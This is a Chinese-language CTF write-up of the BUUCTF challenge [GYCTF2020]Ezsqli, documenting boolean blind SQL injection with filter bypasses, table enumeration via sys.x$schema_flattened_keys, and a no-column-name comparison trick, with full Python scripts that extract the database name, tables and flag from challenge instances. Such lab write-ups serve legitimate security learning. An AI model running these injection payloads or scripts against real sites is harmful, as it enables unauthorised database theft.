note-21

[GYCTF2020]Ezsqli 1

fuzz没fuzz懂,看别人wp是数字型注入
bp出or和and被过滤了,没回显,那就是盲注了
看别人wp是用 ^ 代替 or , && 代替 and
测试是否有回显:

1
2
1&&length(database())>0
1&&length(database())<0

然后测试substr和ascii是否被过滤:

1
2
1&&ascii(substr(database(),1,1))>0
1&&ascii(substr(database(),1,1))<0

写脚本求数据库长度和名字:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import requests
str='_-}{1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
url = 'http://c2a220ad-23f1-4a7a-82c0-73eeafd4d980.node5.buuoj.cn:81/index.php'
# 1&&ascii(substr(database(),1,1))=
database_name=''

for l in range (1,100):
payload = '1&&length(database())={}'.format(l)
data = {'id': payload}
re = requests.post(url,data)
print("testing 数据库长度:",l)
if 'Nu1L' in re.text:
print("数据库长度:",l)
break

for i in range (1,l+1) :
for s in str:
payload = "1&&substr(database(),{},1)='{}'".format(i,s)
data = {'id': payload}
re = requests.post(url,data)
if 'Nu1L' in re.text:
database_name=database_name + s
print("第",i,"个字符: ",database_name)
break

获取到数据库信息之后开始获取数据库内的表名,在测试的时候发现information_schema被过滤了,那就尝试下mysql.innodb_table_stats(mysql默认关闭InnoDB存储引擎)一样不行,那就只能百度了,看网上采用的是sys.x$schema_flattened_keys(需要版本>5.7且只能查询表明,使用方法与information_schema类似)

我这个环境只有sys.x$schema_flattened_keys能用,有的wp用sys.schema_table_statistics_with_buffer,我这没测出来
求表名(写这步卡了我一个小时):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
import requests
import time
str=',-./0123456789:;<>=?@abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`{|}~#'
url = 'http://72f05b95-5f5b-4315-94d1-fb6b35544ce8.node5.buuoj.cn:81/index.php'
# 1&&ascii(substr(database(),1,1))=
database_name=''
name=""

# for l in range (1,100):
# payload = '1&&length(database())={}'.format(l)
# data = {'id': payload}
# re = requests.post(url,data)
# print("testing 数据库长度:",l)
# if 'Nu1L' in re.text:
# print("数据库长度:",l)
# break

# for i in range (1,l+1) :
# for s in str:
# payload = "1&&substr(database(),{},1)='{}'".format(i,s)
# data = {'id': payload}
# re = requests.post(url,data)
# if 'Nu1L' in re.text:
# database_name=database_name + s
# print("第",i,"个字符: ",database_name)
# break

for l in range (1,1000):
time.sleep(0.05)
payload = "1&&length((select group_concat(table_name)from sys.x$schema_flattened_keys where table_schema=database()))={} ".format(l)
data = {'id': payload}
re = requests.post(url,data)
print("表名长度:",l)
if 'Nu1L' in re.text:
print("全表名长度:",l)
break

for i in range (1,l+1):
for s in str:
time.sleep(0.05)
payload = "1&&substr((select group_concat(table_name)from sys.x$schema_flattened_keys where table_schema=database()),{},1)='{}' ".format(i,s)
data = {'id': payload}
re = requests.post(url,data)
if 'Nu1L' in re.text:
name=name + s
print("表名:",name)
break

到求列名,因为information_schema被过滤,sys.schema_table_statistics_with_buffer又并没有储存列名,并且这里过滤了 union 所以我们无法使用常规的无列名注入

1
select 1,2,3 union select * from admin;

更详细
https://blog.csdn.net/qq_71467825/article/details/134655702

先判断表的列数

1
1&&((select 1,2) > (select * from f1ag_1s_h3r3_hhhhh))

知道列数为2,那第一列大概率是id或序列号啥的,猜测flag在2

为什么不能直接用盲注呢,应该是以为没法用selec group_concat(列名),因为没有能查列名的表,所以不知道列名。

那看大佬们的wp,就是用比大小,ascii码大的就大。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
select (select "a")  > (select "abcdef")

0



select (select "b") > (select "abcdef")

1

这里能发现 是通过比对 首个字符的ascii 如果相同 就输出 0

不同就输出 1
前一个 ascii 和 后一个ascii 值的大小
如果前一个比较大 那么就输出0

https://kinsey973.github.io/2024/06/08/GYCTF2020-Ezsqli/

利用该方法拿到flag

最后的脚本又写了一个小时,想死了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
import requests
import time
str='-./0123456789:;<>=?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~#'
url = 'http://39c20ccd-935c-44d7-9446-f5fb806c3f12.node5.buuoj.cn:81/index.php'
# 1&&ascii(substr(database(),1,1))=
database_name=''
name=""

# for l in range (1,100):
# payload = '1&&length(database())={}'.format(l)
# data = {'id': payload}
# re = requests.post(url,data)
# print("testing 数据库长度:",l)
# if 'Nu1L' in re.text:
# print("数据库长度:",l)
# break

# for i in range (1,l+1) :
# for s in str:
# payload = "1&&substr(database(),{},1)='{}'".format(i,s)
# data = {'id': payload}
# re = requests.post(url,data)
# if 'Nu1L' in re.text:
# database_name=database_name + s
# print("第",i,"个字符: ",database_name)
# break

# for l in range (1,1000):
# time.sleep(0.05)
# payload = "1&&length((select group_concat(table_name)from sys.x$schema_flattened_keys where table_schema=database()))={} ".format(l)
# data = {'id': payload}
# re = requests.post(url,data)
# print("表名长度:",l)
# if 'Nu1L' in re.text:
# print("全表名长度:",l)
# break

# for i in range (1,l+1):
# for s in str:
# time.sleep(0.05)
# payload = "1&&substr((select group_concat(table_name)from sys.x$schema_flattened_keys where table_schema=database()),{},1)='{}' ".format(i,s)
# data = {'id': payload}
# re = requests.post(url,data)
# if 'Nu1L' in re.text:
# name=name + s
# print("表名:",name)
# break

flag=''
for l in range (1,10000):
f=''
for s in range (32,127):
time.sleep(0.08)
f=flag + chr(s)
payload = '1&&((select 1,"{}")>(select * from f1ag_1s_h3r3_hhhhh))'.format(f)
data = {'id': payload}
re = requests.post(url,data)
if 'Nu1L' in re.text:
flag=flag + chr(s-1)
print(flag.lower)
break

最后出来的flag全是大写,我看别人的wp也是大写要转小写,不知道什么原因

结束

一道题看着别人的wp复现了近3个半小时,菜的发瘟,写脚本脑子跟不上,做题起步难没经验,到底哪天能独立解出一道这种web题啊
//
//
//

复现的wp:
https://kinsey973.github.io/2024/06/08/GYCTF2020-Ezsqli/
https://www.cnblogs.com/upfine/p/16556520.html
https://blog.csdn.net/fmyyy1/article/details/115447291


note-21
https://aidemofashi.github.io/2025/04/06/note-21/
作者
aidemofashi
发布于
2025年4月6日
许可协议